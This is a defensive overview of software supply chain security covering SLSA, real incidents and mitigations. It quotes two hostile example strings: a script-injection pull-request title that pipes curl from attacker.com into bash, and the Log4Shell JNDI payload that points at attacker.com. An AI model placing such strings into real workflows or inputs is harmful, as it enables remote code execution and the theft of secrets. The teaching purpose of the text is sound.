Practical Supply Chain Security
Introduction
What is software supply chain security?
Your software doesn't run in a vacuum. It's built by people, on machines you don't fully control, pulling in hundreds of packages written by strangers. Any of those can be compromised. Software supply chain security is about understanding where those trust boundaries are and being deliberate about them.
The term sounds corporate but the problem is concrete. An attacker who gets one step upstream of you (your CI system, a popular open source library, your IDE) can own your entire pipeline without ever touching your application code directly.
In 2022, supply chain cyber attacks in the United States impacted 1,743 entities.
Financial losses from software supply chain attacks are projected to reach $81 billion by 2026, up 76%. That number is probably conservative given how many incidents go unreported.
SLSA: a threat model for the developer supply chain
SLSA (Supply-chain Levels for Software Artifacts, pronounced "salsa") is a framework developed by Google that maps the weakest points in how software gets built and delivered. It defines four levels of build integrity: from basic version control hygiene (Level 1) up to fully hermetic, reproducible builds with cryptographic provenance you can verify independently (Level 4).
What makes it useful is that it forces you to treat your build process as an attack surface. Most teams only think about their code. SLSA asks: what about the machine that compiled it?

Attack vectors and threat landscape
There are four main places attackers go after: your source code, your build system, your dependencies, and your dev tooling. Each has a different trust model and a different set of real incidents behind it.
Source code compromise 💻
Phishing developers
🔥 Dropbox email phishing pretending to be from CircleCI - November 2022
- Developers received convincing phishing emails asking them to re-authenticate via CircleCI
- Attackers stole GitHub credentials, gained access to private repos, and exfiltrated source code including API keys and signing secrets
This one worked because CircleCI is a trusted name in the dev toolchain. Developers are trained to be suspicious of random emails, but much less so of messages that look like routine CI alerts.
Malicious developers
🔥 Linux kernel experiment - April 2021
- University of Minnesota researchers submitted intentionally buggy patches to the Linux kernel to study the review process
- Code review caught most but not all of the introduced vulnerabilities
- The University was temporarily banned from contributing to the kernel as a result
The lesson isn't that code review doesn't work. It's that code review is not a reliable last line of defense against a patient attacker who understands the review process.
Build platform compromise 🏗️
Direct compromise
🔥 SolarWinds - December 2020
- Attackers compromised SolarWinds' build server (reportedly via a password of "solarwinds123")
- Malware injected a backdoor into the Orion software during the build step
- The modification was reverted after the build to avoid detection in the source repo
- The backdoored update was signed with SolarWinds' own certificate and distributed to ~18,000 customers, including US government agencies
SolarWinds is the clearest illustration of why you can't just trust your own signed artifacts. The signature tells you the build server produced the binary. It says nothing about whether the build server itself was clean.
GitHub Actions
GitHub Actions is an obvious target: it runs with access to your secrets, your production deploy keys, and often your cloud provider credentials.
A few common attack patterns:
Using uses: some-action@v1 without pinning to a commit SHA means a hijacked action release can silently run arbitrary code in your pipeline. The tj-actions/changed-files action was compromised this way in March 2025, affecting thousands of repos.
Workflows that trigger on pull_request_target with access to repository secrets can be exploited by external contributors. GitHub's own docs warn about this. It's easy to get wrong.
And then there's script injection. Using ${{ github.event.pull_request.title }} directly in a run: step means an attacker can name their PR "; curl attacker.com/exfil | bash; echo " and your workflow executes it. The Actions security hardening docs cover this, but it requires someone to actually read them.
Dependencies 📦
0-day vulnerabilities
🔥 Log4Shell (Log4j) - December 2021
- Log4j is a Java logging library used in almost everything: Minecraft servers, enterprise software, cloud infrastructure
- It had a feature (JNDI lookup) that allowed it to make network requests when logging certain strings
- Logging
${jndi:ldap://attacker.com/exploit}would cause the server to fetch and execute remote code - The vulnerable string could come from anywhere: HTTP headers, usernames, search queries
With Log4Shell, the severity wasn't even the worst part. Most teams couldn't tell you which of their services used Log4j, let alone which version. Finding the exposure took longer than patching it.
Dependency confusion
Some package managers check public registries before private ones when resolving a package name. If your company uses a private package called acme-internal-utils, an attacker can publish a public package with the same name at a higher version number, and some build systems will pull the malicious public version instead.
Alex Birsan demonstrated this in 2021 against Apple, Microsoft, Netflix, and others, earning over $130,000 in bug bounties.
Typosquatting
Publishing packages with names that look like popular ones, counting on developers to mistype.
PyPI:
- 🔥
requestpackage instead ofrequests- August 2020: contained credential-stealing code
npm:
- 🔥 Typosquatting campaign targeting Node developers - October 2022: Phylum discovered 15 npm packages using typosquatting with 1.2 billion combined downloads per week
- Examples:
tslbi,tsilb,tlsibinstead oftslib;crossenvinstead ofcross-env
Docker Hub:
- 🔥 Sysdig's 2022 Threat Research report found thousands of typosquatted images hiding cryptominers
Lockfile injection
When you run npm install, the lockfile (package-lock.json) pins exact package versions and their download URLs. Lockfile injection is when an attacker modifies your lockfile, through a compromised PR, a misconfigured merge, or a supply chain attack, to point a legitimate-looking package name at a malicious URL.
Most developers don't scrutinize lockfile diffs because they're noisy and auto-generated. This can go undetected for a long time. The package name looks right; only the resolved URL has been swapped.
Arbitrary command execution
npm's postinstall lifecycle hook runs a shell script automatically when you install a package. This is a legitimate feature used by packages like esbuild to download platform-specific binaries.
🔥 node-ipc - March 2022: the maintainer added a postinstall script that would wipe files on machines with Russian or Belarusian IP addresses (the package had ~1 million weekly downloads as a transitive dependency of Vue CLI)
When you run npm install, you're trusting every package.json in your entire dependency tree to not run malicious shell commands on your machine. Most developers haven't thought about that.
Hijacked package
🔥 UA-Parser.js - October 2021: a popular npm package (8 million weekly downloads) had its npm account hijacked. The attacker published new versions containing a crypto-miner and a password/cookie stealer. The malicious versions were live for a few hours before being taken down, but the damage was already done for anyone who ran npm install during that window.
IDE plugins 🔌
VSCode plugins have access to your filesystem, your terminal, your environment variables, and your network. The marketplace has historically done very little vetting.
- 🔥
Theme Darcula darkstole basic system information and exfiltrated it - 🔥
python-vscodeallowed remote code execution - 🔥
prettiest-javastole credentials and auth tokens from Discord, Chrome, Opera, and Brave, then exfiltrated them via a Discord webhook
All three were downloaded 46,600 times before being removed 💀
Those are the ones that got caught.
Mitigations
Low hanging fruits 🍓
MFA for everyone - especially GitHub/GitLab access. Hardware keys if you can manage the rollout.
Branch protection rules - require PR reviews before merging to main, block direct pushes
Git commit signatures - GPG or SSH signing makes it harder to impersonate committers, though it's not foolproof
SAST, DAST, SCA, security linters - static analysis catches a class of bugs early; software composition analysis (SCA) maps your dependency tree and flags known-vulnerable versions
Secret scanning - both pre-commit (using something like
gitleaksortruffleHog) and in CI; GitHub's own secret scanning is decent for common patternsScan Docker images - tools like Trivy or Grype scan image layers for known CVEs; run this in CI before pushing to a registry
Run package manager audits regularly -
npm audit,pip-audit,bundle audit; automate this in CI, not just locallyEnforce lockfiles - commit them, don't
.gitignorethem, and fail the build ifnpm installwould modify the lockfile (--frozen-lockfilein yarn/pnpm,npm ciinstead ofnpm install)Update dependencies at the right cadence - stale dependencies accumulate risk, but updating too frequently also risks introducing malware if a package was compromised before anyone noticed and fixed it. Set up Dependabot or Renovate to automate PRs for updates, then actually merge them.
Keep up with 0-day disclosures - follow security mailing lists, subscribe to advisories for your core dependencies; knowing about Log4Shell on day 1 vs. day 7 matters
Advanced 🧐
npm install --ignore-scripts- skipspostinstalland other lifecycle hooks entirely. Breaks some packages (anything that needs to compile native code or download a platform binary), but worth it for CI environments where you don't need those features.lockfile-lint- validates that every resolved URL in your lockfile points to a trusted registry (e.g.,registry.npmjs.org). Catches lockfile injection where the package name is legitimate but the download URL has been swapped.npq(npm pre-qual) - runs a set of heuristics before installing a new package: checks age, maintainer count, download velocity, and known flags. It won't catch everything, but it'll stop you from installing a 3-day-old package with one maintainer and zero stars.Review IDE plugins before installing - check the publisher, the review count, and when possible the source code. If a plugin asks for permissions it doesn't need, that's a red flag.
Pin GitHub Actions to commit SHAs - instead of
uses: actions/checkout@v4, useuses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683. A tag can be moved; a commit hash can't. Tools likepin-github-actionor Dependabot can manage this for you.Avoid
pull_request_targetwith secrets - or if you need it, be very careful about what the workflow does with PR content.